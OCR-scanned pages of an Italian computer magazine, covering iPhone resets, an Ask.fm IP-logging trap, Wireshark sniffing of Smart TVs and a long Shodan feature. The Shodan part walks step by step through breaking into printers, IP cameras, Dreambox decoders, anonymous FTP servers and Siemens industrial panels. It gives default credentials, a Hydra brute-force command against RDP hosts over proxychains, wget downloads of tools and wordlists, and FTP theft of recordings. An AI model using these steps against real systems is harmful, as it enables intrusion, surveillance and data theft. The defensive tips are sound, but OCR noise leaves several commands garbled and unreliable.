il ripristino, dobbiamo collegare 
lo smartphone direttamente al 
computer tramite il cavo Dock/ 
Lightning e n seguito lasciamo 
avviare iTunes.Terminata questa 
operazione, cucchiamo sul pul¬ 
sante iPhone. Se possediamo in¬ 
vece più di un dispositivo, al posto 
del pulsante iPhone dobbiamo 


selezionare Dispositivi e poi il 
nome del melafonino. Premiamo 
poi Ripristina iPhone e faccia¬ 
mo clic su Backup e Ripristina. 
Prima che il ripristino giunga al 
termine scarichiamo sul Mac l'ul¬ 
tima versione di iOS. Alla fine del 
download dovremo solo aspettare 
ancora qualche minuto e il gioco 
sarà fatto. Completata corretta- 
mente la procedura di ripristino, 
iTunes chiederà se configurare il 
telefono come un nuovo dispositi¬ 
vo o se ripristinare le applicazioni 
e i dati del backup effettuato in 
precedenza. Nel nostro caso non 
bisogna fare altro: sarà il nuovo 
proprietario a configurarlo come 
meglo desidera. Per evitare che 
lui continui a ricevere messag¬ 
gi indirizzati a noi, disabilitiamo 
iMessage. Spuntiamo l'apposita 
opzione nelle Preferenze dì Si¬ 
stema e sotto la voce Messaggi 
e avvisiamo Apple del passaggio 
di proprietà. Logghiamoci con le 
nostre credenziali Apple ID, se¬ 
lezioniamo il telefono nella lista 
disponibile e facciamo clic su An¬ 
nulla la registrazione. 


••oooTIM 3G 09:27 ^ 

^ iCIoud Archivio e backup 

ARCHIVIO 

Spazio totale 5,0 GB 

Spazio disponibile 2,8 GB 

Gestisci spazio > 


Acquista più spazio 


BACKUP 
Backup iCIoud 
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I Ask.fm 1 Software [ 


Antivirus&Sicurezza 


Ecco come mettere in pratica misure contro lo stalkina 

e il cvberbullismo sul noto servizio di domande-risposte 


Il lato oscuro 
di Ask.fm 


Cosa ci 
occorre 

'' SOCIAL NETWORK I 

ASK.FM I 

Quanto costa: Gratuito ; 
Sito Internet: s 

http7/ask.fiTi 5 


SERVIZIO Di WEB 
■ HOSTING 

HOSTINGER 

Quanto costa: Gratuito 

•• Sito internet: 
iVww.hostinger.it 


T ra i social network saliti agli onori della cronaca negli ultimi 
tempi c’è Ask.fm, il servizio Web che permette di inviare do¬ 
mande e risposte in modo anonimo. Questa funzionalità però, 
nel corso del tempo, si è trasformata in un mezzo per perseguitare 
i più deboli e mettere in atto comportamenti che arrivano ad avere 
rilevanza penale. Per arginare il fenomeno è possibile mettere in 
pratica alcune procedure, come il blocco dei messaggi anonimi dalle 


Impostazioni del sito. Nei casi peggiori, di vero stalking, possiamo 
usare uno script in PHP, che abbiamo realizzato ad hoc e presente 
nel Win CD/DVD-Rom, da inserire nel nostro sito Web: ci permette 
di scoprire l’indirizzo IP del molestatore, che possiamo usare in 
sede di denuncia alla Polizia Postale. È buona norma, comunque, 
avvisare sempre un adulto (nel caso siamo minorenni) e in ogni 
caso non vergognarci mai di chiedere aiuto. 



Il nostro spazio Web 

Perusareidiiescript(seà)ne>Mwlrus<S^ 
del Win CD/DVD-Rom) ci serve uno spazio 
Web con supporto PHP. Se non ne ottenerne 
uno con 2 GB di spazio gratuito registriamoci su. Inse¬ 
riti i dati e autenticata l’iscrizione possiamo preparare 
la trappola per i cyberbulli di Ask.fm. 



Diamo un nome al dominio 

;. Creiamo un account, cioè io spazio fisico asso- 
'. ciato a un nome di dominio. In pochi secondi 
l’operazione andrà a buon fine, ma ci vorrà 
qualche ora affinché il nostro indirizzo Web sia visibile 
e disponibile, in ogni caso, potremo già cominciare a 
lavorare per inserire gli script PHP. 


Ecco il pannello di controllo 

a Andiamo in alto su Hostinge in basso clicchia- 
mo su Entra in corrispondenza del nostro 
dominio. Questo pannello ci permetterà di 
controllare ogni aspetto dello spazio Web. Posizionia¬ 
moci nella sezione File e selez oniamo uno dei quattro 
Gestore F//e presenti nel pannello. 



Copiamo I due file PHP 

a Nel Gestore F//eaperto cerchiamo UploadFile 
per caricare i due file PHP: registrajp.php 
■ (salva la data e TIP del molestatore) e visua- 
lizza_ ip.php (mostra le informazioni salvate). Eseguito 
l'upload, annotiamo l'indirizzo, che sarà nella forma: 
nome_dominio/registraJp.php. 


Meglio mascherare il link 

..Per non destare il sospetto del molestatore, 
(nascondiamolo in un TinyURL con www.vaS. 
• it. Ottenuta la nuova URL inviamola su Ask.fm 
in risposta al molestatore, cercando di convincerlo con 
l'astuzia a cliccarci sopra. Consultiamo poi periodica¬ 
mente il link nome_domìnio/visualizzaJp.php! 



Diamoci un taglio! 

i;Per evitare che qualcuno cl molesti, non for- 
I niamo mai le nostre generalità, non solo e-mall 
‘ e numeri di telefono (xchlo a quanto inserito 
su Ask.fm!). Per evitare domande anonime andiamo su 
Irnpostazioni/Privacya selezioniamo Non consentire 
domande anonime in Impostazioni privacy. 
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£ £ e stasera in TV non danno nulla 
" * di interessante, perché non col- 
leghiamo l’hard disk al televisore 
e guardiamo qualche film da lì?” Sono frasi 
che chissà quante volte pronunciamo la sera 
in salotto. Ma abbiamo mai pensato che c’è 
qualcuno che potrebbe sapere tutto quello 
che facciamo con il televisore? Potrebbe ad 
esempio conoscere quali film vediamo, quali 
dispositivi colleghiamo, i dati di accesso usati 
per guardare YouTube o per navigare sui so¬ 
ciali network. Un'ipotesi surreale? Tutt’altro! 

Il caso dei dati “rubati” 

Considerando che si tratta di dispositivi con¬ 
nessi ad Internet, già da tempo in redazione ci 


stavamo occupando di controllare quali dati 
venissero generati e scambiati dalle Smart TV 
verso i server dei vari servizi di cui dispon¬ 
gono, senza mai notare nulla di anomalo e 
totalmente ignari invece di quello che di lì a 
poco avrebbe fatto scalpore tra le maggiori 
te.state giornalistiche on-line che si occupano 
di hi-tech. Nelle ultime settimane, infatti, è 
scoppiato uno scandalo che vede coinvolta la 
casa coreana LG, accusata di "conservare" e 
far viaggiare in chiaro i dati dei propri utenti 
che utilizzano un suo modello di Smart TV. 
Davanti ad una notizia del genere chiunque 
storcerebbe il naso, mostrando da una parte 
curiosità e desiderando di ottenere maggiori 
delucidazioni sulla faccenda, dall’altra incre- 


Cosa ci 
occorre ^ 


RACKET SNIFFER 

WIRESHARK 

Lo trovi su: f^CO t^DVD ■ 

Sito Internet 5 

■ www.wireshark.org j 


Gli hacker ci 
spiano dalla TV! 

Abbiamo analizzato tutto il traffico Internet che 
circola nelle nuove Smart TV e scoperto che... 


E il momento di sniffare la nostra rete 


Servendoci del tool Wireshark possiamo passare al setaccio tutto il traffico di pacchetti aenerato nella LAN di casa 
nostra, alla ricerca di potenziali tracce di spionaggio attraverso la Smart TV. Ecco come fare. 



Installiamo il tool di rete 

I Scompattiamo l'archivio Wireshark.zip 
(sezione Internet tie\ Win CD/DVD-Rom) e 
avviamo ii file EXE contenuto in esso. Accettiamo le 
condizioni di utilizzo e cucchiamo sempre su Next. 
Se ci viene chiesto di installare anche WinPeap, 
accettiamo e attendiamo il termine della procedura. 


, , I The Worid’s Most Popular Network Prc 

WIRESHARK I • -, (5vN Pev à3C£L2(«r../tiu.i4-1 j 

_Capture_' 


© Interface Uct 

start 

A VMbaCa Hnt-Only fMweik 
^ r t h >w>i 

if Cwtncatione A «M 4 


0 Capture Options 



^ \ Atupertuconrinterfaccia 

2 I L’interfaccia di Wireshark appare a molti 
: ; alquanto incomprensibile, ma non è del 
tutto cosi. Ricordiamo infatti che il tool da noi sco¬ 
vato è pure sempre uno strumento professionale 
col quale si può veramente fare di tutto in ambito 
di reti informatiche. 



Compatibilità Wi-Fi 

3 ' Dal menu in alto cucchiamo su Capta- 
re. poi su Interfaces: controlliamo se la 
nostra scheda Wi-Fi supporta la Capture Mode, 
che ci permette di intercettare una maggior quan¬ 
tità di pacchetti, selezionando la casella corri¬ 
spondente e cuccando Options. 
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dulità per quanto sia diventato ormai peri¬ 
coloso perfino guardare la TV. Addirittura 
qualcuno ha gridato al complotto, considera¬ 
ti irecenti fatti che hanno portato alla luce le 
indagini a tutto campo condotte dall’agenzia 
americana NSA che spiava tutto e tutti senza 
alcun controllo. Sicuramente questo non 
è il caso di LG, ma effettivamente l’idea di 
fare un confronto verrebbe a chiunque. In 
pratica, è emerso che un modello di Smart 
TV, prodotta appunto da LG, memorizza la 
maggior parte delle operazioni che l’utente 
compie, anche le più semplici, e le invia ad 
una serie di server. Tra i dati trasmessi ci sono 
le impostazioni salvate, i canali TV visti, le 
periferiche USB collegate al televisore, il tutto 
senza la benché minima traccia di codifica. 



La risposta di LG 

Avremmo voluto verificare di persona il tut¬ 
to ma, dopo una nostra richiesta, LG non 
ha accettato che ci venisse inviato un suo 
modello di Smart TV affetta da questo tipo 
di "problema”. Un loro riscontro però non 
si è fatto attendere: "La privacy dei nostri 
dienti è una priorità assoiuta per LG Eiec- 
tronics, perciò prendiamo ia questione 
moito seriamente. Stiamo considerando 
con attenzione le segnaiazioni pervenuteci 
suiia possibilità che alcuni dati sull'utilizzo 
delle Smart TV di LG siano stati condivisi 
senza consenso. Stiamo approfondendola 


per testarne 



IL FIREWALL FAHO IN CASA 


Esistono soluzioni, per veri 
smanettoni, che possono aiu¬ 
tarci a proteggere la nostra 
privacy su internet. Una di 
queste può essere ad esem¬ 
pio un servizio costantemente 
attivo che analizzi e filtri ogni 
singoio byte scambiato suila 
rete di casa nostra e che inter¬ 
cetti collegamenti potenzial¬ 
mente pericolosi e li blocchi 
in automatico. C’è infatti chi. 


servendosi di un vecchio PC 
desktop, installa un vero e 
proprio firewall hardware in 
casa. Per realizzarlo bisogna 
instailare su questo PC una di¬ 
stribuzione Linux creata ad hoc 
(scaricabiie dai sito www.ipcop. 
org) e montare una seconda 
scheda di rete che servirà alla 
trasmissione della rete Internet 
a tutti i dispositivi che dovran¬ 
no usufruirne. Il router andrà 


così collegato al PC-firewall e 
a quest'ultimo potranno esse¬ 
re collegati a cascata (tramite 
Wi-Fi o tramite un semplice 
ed economico switch) tutti i 
dispositivi (TV, PC, notebook, 
smartphone, tablet ecc.) pre¬ 
senti in casa. Il firewall si gesti¬ 
sce facilmente da un'interfaccia 
Web semplice ed intuitiva ed 
è possibile creare una lista di 
siti da inserire in una blacklist. 


questione e prevediamo di avere a breve 
maggiori informazioni” Sappiamo però che 
i prodotti della casa coreana non sono gli uni¬ 
ci a generare sospetti di tentato spionaggio; 
abbiamo scoperto infatti che anche le Smart 
TV prodotte da Samsung (a quanto pare tutti 
i modelli delle generazioni recenti) soffrono 
di problemi di intercettazione. Una società 
maltese di sicurezza informatica, la ReVuln, 
ha infatti spiegato che è possibile prendere il 
totale controllo da remoto di una Smart TV 
Samsung, scoprendo i canali visti, password, 
le impostazioni del televisore, ed è perfino 
possibile salvare tutto il contenuto di un 
eventuale hard disk collegato. Per ora ReVuln 
non ha comunicato le procedure adottate 


per mettere in atto l’hack alle aziende, per 
cui si aspettano ancora importanti risvolti. 

Proteggiamo la nostra privacy 

Com’è possibile che sia diventato pericoloso 
perfino guardare la TV e ci si debba preoccu¬ 
pare che la nostra privacy possa essere viola¬ 
ta? È il prezzo da pagare, purtroppo, per avere 
dispositivi sempre più connessi ad Internet. 
Ma forse non è il caso di allarmarsi, perché 
comunque ci sono contromisure adottabili. 
Vediamo insieme quindi come verificare se 
la nostra Smart TV collegata alla rete Wi-Fi di 
casa sta generando del traffico anomalo e, se 
così è, la soluzione è presto detta: scollegarla 
definitivamente da Internet! 


la sicurezza 
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C^pture Help 


Tutti i protocolli in chiaro 

4 I Per abilitare ia visualizzazione di tutti i proto- 
coili utilizzatl 6 060683300 spostarsi nelle pre¬ 
ferenze di Wireshark Edit\Preferences\Protocols. Da 
qui, attiviamo l'opzione display hidden protocolitems 
per abiiitare ia visualizzazione di tutti i protocolli di rete, 
inciusi quelli nascosti. 


▲ z Impostiamo i filtri! 

g I Per filtrare la visualizzazione del solo traffi- 
co generato dalla SmartTV spostiamoci su 
Capture\Capture filter e compiliamo Filter name 
con IPaddress 192.168.1.10 (àoye 192.168.1.10 
è l'indirizzo della SmartTV) e Filter string con host 
192.168.1.10. Confermiamo con OK. 


Vai con lo sniffino! 

0 I Clicchiamo Captare e poi Start, teniamo 
d’occhio la colonna in corrispondenza di 
Destinatiorr, se notiamo stringhe o link che si rife¬ 
riscono a servizi che non stiamo usando, significa 
che qualcosa non va! Clicchiamo sul link per visua¬ 
lizzare maggiori dettagli. 
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Password del Web 
a portata di clic! 

Il motore di ricerca che, in mani sbagiiate, porterebbe il 

difendersi 

un Client su un’apposita porta, rispondono 
con una serie di informazioni testuali, che 
comprendono lo stato del servizio, un even¬ 
tuale messaggio di benvenuto, dati sul tipo 
di autenticazione e sui protocolli di comu¬ 
nicazione utilizzati. Questi messaggi sono i 
"banner". Shodan effettua periodicamente 
una scansione dell'intera Rete, individua i 
dispositivi connessi e ne archivia i banner. 
Quando l’utente utilizza Shodan di fatto 
esegue una ricerca sui contenuti dei ban¬ 
ner. Con questo incredibile search engine è 


caos nel Mondo... Ecco come funziona e come 


S u Internet, ormai, si trova davvero di 
tutto! Quello che sembrava essere un 
abusato luogo comune è ora diventato 
realtà: un nuovo e sconcertante servizio sta 
infatti facendo parlare di sé in Rete. Questa 
volta non si tratta dell’ennesimo social net¬ 
work, ma di un rivoluzionario search engine 
da molti ribattezzato come “il Google dei 
pirati". Di che stiamo parlando? Di Shodan, 
il motore di ricerca più pericoloso del mondo, 
raggiungibile da tutti all’indirizzo www. 
shodanhq.com. Perché è così sconvolgente? 


Perché consente di violare facilmente qual¬ 
siasi dispositivo connesso a Internet, dalle 
telecamere di sicurezza ai sistemi industriali 
più avanzati. 

Ricerche mirate 

1 normali motori di ricerca come Google 
o Ring indicizzano i siti Web così da con¬ 
sentirne l’individuazione mediante parole 
chiave; Shodan fa un lavoro simile, ma sui 
cosiddetti "banner". Tutti i server e i dispo¬ 
sitivi di Rete, quando vengono interrogati da 


Cosaci 

occorre 


FAQU 


MOTORE DI RICERCA 

SHODAN 

Quanto costa: Gratuito 
Sito Internet 
www.shodanhq.com 


Così i pirati prendono il controlli 

Le stampanti di rete, specialmente nei contesti aziendali, possono finire nel mirino di Shodan. 

Se non adeguatamente protette, che danni può provocare un hacker malintenzionato? Scoprilo con noi! 




▲ Protetto dall’anonimato 

^ ' L’hacker scarica l'archivio TorBrowser. 
zip dal Web, lo scompatta ed esegue 
il file Start Tor Browser.exe. il browser anoni¬ 
mo non richiede installazione. AH'awio vengono 
aperti un pannello di controllo e un'istanza di un 
browser basato su Firefox, ma opportunamente 
modificato. 


▲ . Un’e-mail temporanea 

2 I Per registrarsi a Shodan e sfruttarne le 
potenzialità, l'hacker deve fornire prin¬ 
cipalmente un indirizzo e-mail valido. Invece di 
utilizzare il proprio, ne crea uno temporaneo su 
http://getairmail.com. Anche in questo caso, per 
non lasciare tracce accede alla posta tempora¬ 
nea utilizzando Tor. 


▲ ! Una veloce reqfetrazione 

3 I Per effettuare la registrazione a Sho- 
. dan l'hacker si collega con TorBrowser a 
www.shodanhq.com e clicca Register. Inserisce 
una login, l'indirizzo e-mail (temporaneo) e una 
password. Letti i Teims of use e la Privacy Poli- 
cy, preme iaccept Create my Account Adesso 
è tutto pronto! 


84 WinMagazIne Gennaio 2014 



































Il Google dei pirati | Fai da te 


Antivirus&Sìcurezza 


PROTEGGERSI DA SHODAN IN 5 MOSSE 


1 Evitiamo di esporre su In¬ 
ternet le nostre periferiche 
senza prima sostituire la pas¬ 
sword predefinita con una pa¬ 
rola chiave lunga che contenga 
anche numeri e segni speciali. 
Facciamolo per le stampanti 
di rete, le IP-Cam, i router, gli 
access point, i range extender 
e per qualsiasi altro dispositivo 
apparentemente innocuo con¬ 
nesso alla Rete. Chi andrebbe 
a dormire con la porta di casa 
senza serratura? E non usiamo 


la stessa parola per tutte le pe¬ 
riferiche: violata una, si avrebbe 
libero accesso anche alle altre. 
Cambiamo periodicamen¬ 
te le password di accesso a 
tutti i nostri dispositivi: in questo 
modo, anche se qualcuno riu¬ 
scisse a violare i nostri sistemi, 
prima o poi si ritroverebbe co¬ 
munque tagliato fuori. 

Se abbiamo bisogno di ac¬ 
cedere dall'esterno ai nostri 
sistemi, invece che esporli peri¬ 
colosamente sulla rete, utilizzia¬ 


mo una Virtual Private Network 
ricorrendo ad esempio al sof¬ 
tware OpenVPN (lo trovi nella 
sezione Antivirus&Sicurezza del 
Win CD/DVD-Rom). 

Se abbiamo un nostro ser¬ 
ver FTP, evitiamo di renderlo 
accessibile con l'utente anony- 
mous. 

Tentiamo noi stessi di vio¬ 
lare i nostri sistemi usando 
Shodan! Essere in grado di sco¬ 
prire da sé le proprie carenze è 
la protezione migliore! 






possibile cercare con estrema facilità server 
FTP, video server, router, stampanti, Web 
server... insomma, tutto quanto è connesso 
in Rete ed è dotato di un indirizzo IP. Per 
sfruttare appieno le potenzialità di Shodan 
è necessaria la registrazione, che è gratuita 
se ci si accontenta dei primi 50 risultati di 
ricerca (più che sufficienti per chi non è 
un hacker di professione). Altrimenti, con 
una piccola quota di adesione è possibi¬ 


le sbloccare tali limiti. Secondo l’ideatore 
di Shodan, John Matherly (https://twitter. 
com/achillean), queste scelte consentono 
di limitare significativamente i potenziali 
rischi di sicurezza: con “soli" 50 risultati è 
difficile attuare attacchi massivi alla Rete. 
E chi, invece, effettua il pagamento, non 
potrà lanciarsi in attività particolarmente 
pericolose, in quanto si rende identificabile 
tramite i dati della carta di credito. 


delle stampanti 



▲ r Iniziano le ricerche 

^ I L'hacker digita printer o inserisce il 
modello di una stampante e preme 
Search. Cuccando su uno dei link visualizzati 
accede alla pagina di autenticazione del pannello 
di controllo della stampante associata a quellTP e 
tenta la connessione con login e password pre¬ 
definite (admin e admin). 


▲ Accesso effettuato! 

g Se l’hacker è fortunato (il proprietario 
w. * della stampate ha lasciato login e pas¬ 
sword di fabbrica) riesce ad accedere al pannel¬ 
lo di controllo della periferica. Cuccando Direct 
Print (se presente) può eseguire l’upload di 
un’immagine dal proprio computer e stamparla 
in un’infinità di copie! 


Cosa c’è di vero? 

Ma Shodan è davvero così pericoloso? Un ha¬ 
cker ci ha mostrato il suo funzionamento! Da 
quanto abbiamo avuto modo di vedere, i rischi 
sono concreti, ma solo per chi non protegge 
bene i propri sistemi collegati in Rete. Se non 
cambiamo la password del nostro dispositivo e 
lasciamo quella predefinita (di fabbrica), allora 
potremo essere vittime di Shodan. Se invece 
seguiamo alcuni semplici accorgimenti, chiun¬ 
que dovesse individuare il nostro dispositivo 
tram ite Shodan non potrà che restare inerme a 
guardare la pagina di accesso. Gli algoritmi di 
forza bruta per l'individuazione delle password, 
le cui potenzialità sono spesso decantate dai 
loro sviluppatori, non sono particolarmente 
rischiosi se siamo abituati a utilizzare stringhe 
lunghe e poco intuibili per proteggere l’accesso 
ai nostri sistemi: senza nessun indizio sul tipo 
di parola chiave utilizzata, un programma del 
genere potrebbe impiegare decenni prima di 
arrivare al suo obiettivo. 

Shodan e la legalità 

Quel che bisogna chiedersi è se l’utilizzo di 
Shodan sia legale o meno. Cercando un di¬ 
spositivo collegato alla Rete non si commette 
alcun reato. Diverso è il caso in cui si cerca di 
forzare una password, anche quella predefmita, 
o di creare danni. Quando operiamo in Rete, 
la nostra identità reale è facilmente indivi¬ 
duabile a partire dall’indirizzo IP, assegnato 
dairinternet Service Provider (ISP) al momento 
della connessione, e anche tramite il MAC 
Address, che è un indirizzo univoco attribuito 
dal produttore alla scheda di rete e a qualsiasi 
dispositivo che può connettersi a Internet. 
Pertanto, se vogliamo curiosare è importante 
non andare oltre i limiti del consentito. 


AHENTI Al Wl-Fi 
EXTENDER! 

Alcuni dispostivi di rete sono più a rischio di altri 
perché non ci si preoccupa della loro sicurezza. 

I Range Extender, ad esempio, utilizzati per 
ampliare la copertura di segnale di un router 
Wi-Fi in un appartamento grande o su più livelli, 
sono utilizzati quasi sempre con la password 
predefinita. Un esempio tipico è dato dagli 
REI000 della Linksys/Cisco. Digitando REI000 
nella casella di ricerca di Shodan, l'hacker ci ha 
mostrato come la maggior parte dei dispositivi 
sia accessibile lasciando la login vuota e inse¬ 
rendo admin come password. Avuto accesso al 
pannello di controllo, l'hacker potrebbe creare 
danni disattivando il dispositivo o modificando 
le impostazioni e la password. Addirittura si 
potrebbe eseguire un aggiornamento usando 
un firmware modificato ad hoc. ► 
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0 Ci spiano dalla Webcam 

Le IPCam usate per sorvealiare gli ambienti domestici (e non solo) possono essere una finestra spalancata sulla vita 
privata di tutti quanti noi. Cosi, in pochi secondi, la nostra privacy va in malora! 



▲ i Hacker a caccia di IPCam 

■| L’hacker si connette a Shodan usando Tor 
Browser per non essere rintracciato. Ese¬ 
guito il login effettua una ricerca filtrandola per 
area geografica e inserendo una parola chiave 
adeguata, tipo ip-cam. webcam ecc. (la ricer¬ 
ca mostrataci dall'hacker è ip-cam citymapoli). 
Esamina quindi i risultati cercando una cam non 
protetta da password o con password predefinita. 



▲ s Così scia di tutto e di oiù 



l'hacker usa i pulsanti direzionali per orientarlo e 
puntare l’obiettivo in altri punti della stanza, con 
buona pace della privacy. Alcuni sistemi, inoltre, 
gestiscono più Webcam contemporaneamente: 
tramite il pannello di controllo l’hacker potrà pas¬ 
sare da un canale all’altro. 



Immagini dirottate 

3 ^ Le IPCam usate come sistema di sicurez- 
za prevedono il trasferimento delle riprese 
(a intervalli regolari o al rilevamento di un movi¬ 
mento) su server remoti, di solito con protocollo 
FTP. Accedendo all’apposita sezione del pannello 
di controllo l’hacker può modificare queste impo¬ 
stazioni disabilitando la funzione o cambiandone i 
parametri per puntare a un proprio server. 


PERCHÉ VIOLARE 
CON SHODAN? 

Usare Shodan per accedere a un 
router può servire a un hacker non 
solo per fare danni, ma anche per 
trarne un vantaggio pratico. Shodan 
può effettuare ricerche geografiche: 
questo significa che è in grado di 
filtrare i risultati rispetto a una data 
città o ad esatte coordinate geogra¬ 
fiche. Se si esegue una ricerca ag¬ 
giungendo il filtro geo seguito da 


UN ROUTER 

latitudine e longitudine (ad esempio 
geo:40.82,14.43), Shodan elencherà 
gli IP che soddisfano la stringa di ri¬ 
cerca e che sono nelle vicinanze delle 
coordinate fornite. In questo modo 
un hacker potrebbe identificare un 
router preciso e accedervi per rende¬ 
re la connessione Wi-Fi non protetta 
(disattivando la chiave di sicurezza), 
così da poterla utilizzare liberamente. 
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# Decoder sotto attacco! 



jk. Direttamente dal browser 

■| Quando il pirata trova su Shodanhq un dispositivo Dreambox, pro- 
va ad entrare visitando direttamente il suo indirizzo IP con il browser. 
Inserendo le credenziali di default (root e dreambox) dovrebbe poter accedere 
all’interfaccia (se la password della Web interface non è stata modificata): il 
pulsante CONTROL fa apparire un menu per gestire il dispositivo. 


▲ Come col telecomando 

2 = Nel menu di controllo, i pulsanti più interessanti sono due; Screenshot 
^ e Remote Control. Il primo serve a mostrare un'istantanea di ciò che 
appare al momento sullo schermo del televisore collegato al Dreambox. L'al¬ 
tro fa apparire un telecomando molto realistico e comodo. Se il Dreambox è 
in standby, il pirata lo attiva col pulsante Wakeup. 



^ Lo zapping è virtuale 

3 La sezione ZAP permette al criminale di scorrere l'elenco dei canali 
■ (facendo zapping). Cuccando sul nome di un canale qualsiasi, questo 
viene selezionato ed è possibile vederlo in tempo reale cuccando sul link WEB- 
X-TV (necessita di una vecchia versione di VLC player). Il pirata può anche 
registrare la trasmissione, usando l’apposito pulsante. 


^ ^ Accesso diretto al file 

4 i Registrato il programma che gli interessa, il criminale cerca di trasfe- 
rido sul proprio computer. Per questo apre una finestra del terminale 
di Windows (il Prompt dei comandi) e dà il comando ftp seguito daH’indirizzo 
IP del Dreambox vittima. Inserendo le credenziali di accesso (le stesse della 
Web Interface) ha ormai il completo controllo sulla vittima. 



; Ecco dove sono I film 

g ;■ Per prima cosa il pirata dà il comando passive e poi dir per avere una 
lista di file e cartelle. Poi scrive cd/media/hdd per entrare nell’hard 
disk del Dreambox. Il comando dir elenca tutte le cartelle: con i comandi cd 
movie e d//ottiene l'elenco dei film registrati. Il pirata sceglie uno dei video 
presenti, per esempio “ TPS Star. 


▲ Senza destare sospetti 

0 i II pirata può spedirsi il video col comando get “TPS Star”. Trattan- 
■.. >' dosi di FTP, può addirittura interrompere l’invio e riprenderlo il giorno 
seguente per non destare sospetti. Per evitare che il proprietario si accorga 
che il Dreambox è stato acceso, infatti, il criminale lo mette in standby dall’in¬ 
terfaccia Web, usandolo per poco tempo al giorno. ► 
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# Server FTP pieni di MP3 

I pirati informatici usano motto spesso il File Transfer Protocol per scambiare file illegali sul Web in gran segreto. 
Un eventuale malintenzionato riesce a scovare questi FTP con shodan e... scarica tutto! 


▲ File in trasferimento 

^ v L’hacker avvia FileZilla e fa clic su File/ 
Gestore siti. Preme Nuovo sito, inserisce 
come host l’indirizzo IP del server FTP e come tipo 
di accesso sceglie la vxe Anonimo. Fa clic su 
Connetti e attende qualche secondo. FileZil¬ 
la si è connes¬ 
so al server e " 

l’hacker ini¬ 
zia ad esplora¬ 
re agevolmen¬ 
te file e cartel¬ 
le; quando trova 
qualcosa di suo 
interesse lo trasci¬ 
na sul Desktop del 
suo PC. 




tfxre 


»\tro' 


I et' 
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UFTP è anonimo 

■| i L'hacker si collega a Shodan usando Tor- 
w.?' Browser e dà il via alle sue ricerche. Poi¬ 
ché vuole individuare un server FTP con accesso 
anonimo, digita nella casella di ricerca la strin¬ 
ga FTP anonymous. Tra i risultati della ricerca 
presta attenzione a quelli che riportano la dici¬ 
tura Anonymous user logged in. Gli altri ven¬ 
gono scartati perché non consentono l'accesso 
anonimo. 


Accesso diretto dal browser 

2 i Individuato l’indirizzo IP del server FTF 
con accesso anonimo, 71.18.32.xxx 
nell’esempio mostratoci dall’hacker, cerca d 
accedere ai file in esso archiviati. Apre il browser 
e digita ftp://71.18.32.xxx. Effettuata la connes¬ 
sione, sul PC dell’hacker viene visualizzata 
una struttura a cartelle. Se il server non 
consentisse l'accesso anonimo, ver¬ 
rebbero richieste login e password. 


▲ | Serve anche un dient FTP 

0 I L’hacker si procura un Client che gli ren- 
da più semplici le operazioni su file e car¬ 
telle. Scarica FileZilla da https://filezilla-project.org. 
Fa doppio clic su Download Filezilla Cliente poi su 
Download Now. Fa clic due volte sul 
file SFInstaller_SFFZ_file- 
zllla_8992693_.exe 
e segue la proce¬ 
dura guidata. 
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^ La forza bruta del pirata 

Entrare in un sistema di cui si conosce la password è ermamente facile, ma anche se la chiave d’accesso è state 
cambiate, i veri pirati ci riescono lo stesso e con la tecnica del “brute force” controllano a distanza anche i nostri PC. 



▲ ì Con Linux è più semplice 

1 I La prima cosa che il pirata fa è scaricare l'applicazione open source 
JLJ UNetBootIN dal sito http;//unetbootin.sourceforge.net. Con questo pro¬ 
gramma può creare una pendrive awiabile scegliendo, dal menu, la distribu¬ 
zione BackTrack 5R1 con KDE. Avviando il computer da pendrive si presenta, 
al pirata, una schermata in cui sceglie la versione BackTrack Text. 



^ Dentro lareteTor 

O Appena appare il prompt dei comandi, scrive startx e preme Invio per 
accedere all'ambiente grafico. Il pirata apre il menu K, voce System, 
avvia la Konsole e digita il comando wget http://tinyurl.com/vidalia-linux && 
tar xvf vidalìa-linux && chown -R root, con sudo nano /etc/proxychains. 
conf aggiunge la riga socks4 127.0.0.19050. 



▲ Lelenco delle vittime... 

3 Dalla Konsole il pirata avvia TorBrowser col comando cd .Aor-brow- 
ser_en-US && ./App/vidalia -datadir Data/Vidalìa -style Cleanlo- 
oks. Poi si reca sul sito wvvw.shodanhq.com e cerca la query poA:3389 
country:IT che gli fornisce la lista dei server italiani che consentono accesso 
remoto a Windows. Usando la porta 21 si potrebbero ottenere i server FP. 


▲ ... e oueilo deite password 

^ * A questo punto il pirata apre un'altra finestra della Konsole e scari- 
* ca un elenco di possibili password con il comando wget http://www. 
tuttohacking.itAesti/dizJta.rar, estraendone poi il contenuto con il comando 
unrar dizjta.rar. A questo punto si ritrova col file chiamato diz_ita.txt, che 
contiene varie parole In italiano. 



▲ Una porta da scardinare 

g j È tutto pronto affinché il criminale awii la ricerca delle password con 
^ J il comando proxychains hydra 2.234.XXX.XX riogin -I Administra- 
tor -P ./dizjta. txt - V. Dove, naturalmente, 2.234.XXX.XX è TIP della vittima, 
e Administrator latente di cui si vuole scoprire la password. Il programma 
proverà tutte le parole del file dlzjta.txt. 


▲ , Accesso ottenuto 

g " Quando una parola non funziona, il programma risponde can not con- 
nect Se non dice niente, significa che la password è corretta. Appena 
viene trovata, il pirata dà il comando proxychains rdesktop -m 2.234.XXX. 
XX per collegarsi al server e fa login con nome utente e password che ora 
conosce. Esattamente come se si trovasse davanti al computer della vittima. ► 
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# Se rautomazione non è sicura 

Entrare in una caldaia a jgas, una piscina, o una catena di robot che costruiscono oggetti vari? Grazie a Shoda, 
i pirati possono fare anche questo, se non ci si protegge adeguatamente. 


^ n Obiettivi identificati 

^ I II pirata può trovare facilmente su Shodan degli impianti industriali 
W controllati con il sistema Siemens usando la query di ricerca Sie¬ 
mens timi. Quando ne ha trovato uno, apre un terminale su Backtrack e 
digita il comando nmap 213.1 15.XX.XX (dove 213.1 15.XX.XX è TIP del 
sistema vittima) per ottenere una lista delle porte di accesso disponibili. 


Connesso allo schermo 

2 J Se tra le varie porte disponibili è presente la porta 5900 significa 
che il server VNCè disponibile. Al pirata non resta quindi che prova¬ 
re a collegarsi al server: per fare questo il criminale dà il comando vncvie- 
wer 213.115.XX.XX:0. Lo zero finale rappresenta il display standard usato 
sui dispositivi Siemens. 


Ecco la password 

3 i Ovviamente il sistema richiede una password, ma visto che spesso 
' - gli utenti non la cambiano, il pirata prova ad entrare con la parola 
chiave di default, cioè 100. Se non dovesse essere quella giusta potrebbe 
sempre ricorrere alla tecnica del "brute force", visto che VNC non limita il 
numero di tentativi di accesso (come fa invece SSH). 


-à. Controllo assoluto 

Ottenuto l’accesso al sistema della vittima, il pirata si trova di fron- 
'*<.v te una finestra che simula lo schermo del dispositivo di gestione in 
cui è entrato. Ovviamente, la finestra è interattiva, quindi il criminale ha il 
